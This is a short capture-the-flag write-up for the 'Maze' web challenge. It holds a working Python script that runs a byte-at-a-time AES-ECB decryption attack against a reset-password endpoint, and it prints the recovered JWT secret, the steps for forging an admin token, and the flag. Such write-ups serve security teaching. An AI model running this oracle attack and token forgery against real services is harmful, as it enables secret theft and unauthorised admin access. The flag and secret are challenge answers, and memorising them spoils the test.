ICMTC CTF - Maze

1 minute read

  • The challenge solved by 0x41ly
  • There are Register, Reset, and Login pages

Untitled

  • After creating an account and log in, the response is a message in JSON format

Untitled

Untitled

  • After founding this fake flag I thought it might be an IDOR
  • Testing reset password functionality, returns msg and token

    Untitled

  • I expected that we will use the token, so I sent it in a POST request

    Untitled

    • The server returns 500 INTERNAL SERVER ERROR and exposes the back-end code, let’s read it in the browser to make it more readable

    Untitled

    Untitled

    • The following code snippet is reset_password code, it’s using AES ECB which is vulnerable to Byte-at-a-time ECB decryption as indicated in challenge 12

    Untitled

  • I wrote this script to automate the decryption
from Crypto.Util.Padding import pad, unpad
from Crypto.Cipher import AES
from Crypto.Random import get_random_bytes
from base64 import b64encode,b64decode
import requests

def fuzzing(payload):
    url = 'http://104.248.31.188:8712/reset_password'
    headers = {
        'Content-Type': 'application/x-www-form-urlencoded',
    }

    data = {'email': payload}
    response = requests.post(url, headers=headers, data=data)
    return response.json()['token']

secret_base_cipher = fuzzing('')

def get_length(secret_base_cipher):
    for i in range(255):
        payload = "a" * i
        cip=fuzzing(payload)
        if (secret_base_cipher) in (cip) and i !=0:
            print(cip)
            print(f"legnth is {i}")
            length = i
            break
    return length

length = get_length(secret_base_cipher)

known = ""
padding_len = len(secret_base_cipher)//2
print(padding_len)
for i in range(padding_len):
    payload = "a"* (padding_len-1-i) 
    cip = fuzzing(payload.encode())
    for x in range(255):
        payload = "a"* (padding_len-1-i) +  known + chr(x)
        guessed_cip =fuzzing(payload.encode())

        if (guessed_cip)[:2*padding_len]  in (cip) :
            known += chr(x)
            print((known))
            break
print(known)

Untitled

  • This is the JWT secret

      22@@@@Th!S_!s_s3cr3t113337771!!@@
    

We can sign a new JWT token using the secret like the following, we changed our role to admin

Untitled

  • using the new JWT token to log in as admin, we got the flag

Untitled

EGCERT{3605bef694b0ee1cae2a936f5e5d4d6188a5b88dfef1450d641509631fb37063_933cb9e6}